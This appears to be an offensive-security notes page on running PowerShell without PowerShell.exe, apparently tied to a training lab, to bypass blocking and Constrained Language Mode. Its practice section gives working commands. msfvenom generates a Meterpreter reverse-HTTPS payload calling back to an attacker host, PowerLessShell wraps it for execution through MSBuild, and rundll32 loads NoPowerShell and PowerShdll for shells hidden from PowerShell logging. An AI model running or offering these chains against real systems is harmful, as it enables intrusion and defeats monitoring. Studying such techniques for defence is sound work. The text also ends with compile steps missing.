PowerShell.exe primarily serves as a graphical interface for handling input and output, while the core functionality resides in the managed DLLSystem.Management.Automation.dll. This DLL is responsible for creating and managing runspaces, which serve as isolated execution environments for PowerShell commands and scripts.
Since runspaces operate independently of PowerShell.exe, we can create a custom program to establish and control a runspace, allowing us to execute PowerShell code outside the standard PowerShell interface.
Alternatively, projects like NoPowerShell completely reimplements common cmdlets in C#, bypassing the need for PowerShell.exe or System.Management.Automation.dll.
If you encounter a scenario where PowerShell.exe is blocked or Constrained Language Mode is enforced, but no strict application whitelisting is in place, alternative execution methods can still enable PowerShell execution.
Practice
PowerLessShell is a Python-based tool that generates malicious code to run on a target machine without showing an instance of the PowerShell process. PowerLessShell relies on abusing the Microsoft Build Engine (MSBuild), a platform for building Windows applications, to execute remote code.
#Generate a malisious powershell script
v4resk@kali$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1
#Generate a .csproj with PowerLessShell
v4resk@kali$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj
#Execute it on the target with MSBuild.exe
C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj
NoPowerShell doesn't useSystem.Management.Automation.dll or RunSpaces, only native .NET libraries. NoPowerShelldirectly implements cmdlet functionality
NoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms.
This .NET Framework 2 compatible binary can be loaded in Cobalt Strike to execute commands in-memory. An alternative usecase for NoPowerShell is to launch it as a DLL via rundll32.exe:
C:\Users\v4resk> rundll32 NoPowerShell.dll,main
We can load PowerShdll with rundll32.exe to gain a shell
C:\Users\v4resk> rundll32.exe PowerShdll.dll,main
Windows 10 comes with SyncAppvPublishingServer.exe and SyncAppvPublishingServer.vbs that can be abused with code injection to execute powershell commands from a Microsoft signed script:
Here's a C# code snippet that demonstrates creating a custom PowerShell runspace to execute commands:
RunspacePoc.cs
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
class Program
{
static void Main()
{
string command = "Write-Output 'Hello from PowerShell'";
using (Runspace runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (PowerShell ps = PowerShell.Create())
{
ps.Runspace = runspace;
ps.AddScript(command);
foreach (var result in ps.Invoke())
{
Console.WriteLine(result);
}
}
}
}
}
To compile this code on Unix-based systems, we can use the following mono command to include the System.Management.Automation.dll:
To include it in your Windows Visual Studio project or compile it on Linux, locate the DLL on Windows systems at: